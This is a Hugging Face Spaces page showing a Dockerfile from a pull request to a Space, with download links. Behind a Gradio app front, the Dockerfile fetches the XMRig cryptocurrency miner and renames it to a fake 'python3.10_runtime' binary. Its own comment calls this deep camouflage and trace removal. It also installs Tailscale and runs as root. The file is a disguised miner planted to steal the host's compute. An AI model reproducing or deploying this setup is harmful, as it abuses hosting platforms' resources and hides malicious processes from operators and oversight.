Spaces:
Sleeping
Sleeping
Download Dockerfile from Lordjames21/mm: direct link, hf CLI and curl.
- Browser
- Download file 913 Bytes
-
https://huggingface.co/spaces/Lordjames21/mm/resolve/refs%2Fpr%2F1/Dockerfile
- Command line
-
hf download hf://spaces/Lordjames21/mm@refs/pr/1/Dockerfile
-
curl -L -o Dockerfile https://huggingface.co/spaces/Lordjames21/mm/resolve/refs%2Fpr%2F1/Dockerfile
913 Bytes
| FROM python:3.10-slim | |
| # Instalar dependencias necesarias (incluyendo Tailscale) | |
| RUN apt-get update && apt-get install -y \ | |
| wget \ | |
| curl \ | |
| procps \ | |
| libssl-dev \ | |
| libunbound-dev \ | |
| iptables \ | |
| iproute2 \ | |
| && rm -rf /var/lib/apt/lists/* | |
| # Instalar Tailscale | |
| RUN curl -fsSL https://tailscale.com/install.sh | sh | |
| RUN pip install gradio psutil | |
| WORKDIR /app | |
| # Descarga, camuflaje profundo y eliminación de rastros | |
| RUN wget -q https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -O core.tar.gz && \ | |
| tar -xf core.tar.gz --strip-components=1 && \ | |
| mv xmrig /usr/local/bin/python3.10_runtime && \ | |
| rm -rf * core.tar.gz | |
| COPY app.py . | |
| COPY config.json . | |
| COPY entrypoint.sh . | |
| RUN chmod +x entrypoint.sh | |
| # El puerto de Gradio | |
| EXPOSE 7860 | |
| # Ejecutar como root es necesario para Tailscale (TUN/TAP) | |
| USER root | |
| ENTRYPOINT ["./entrypoint.sh"] | |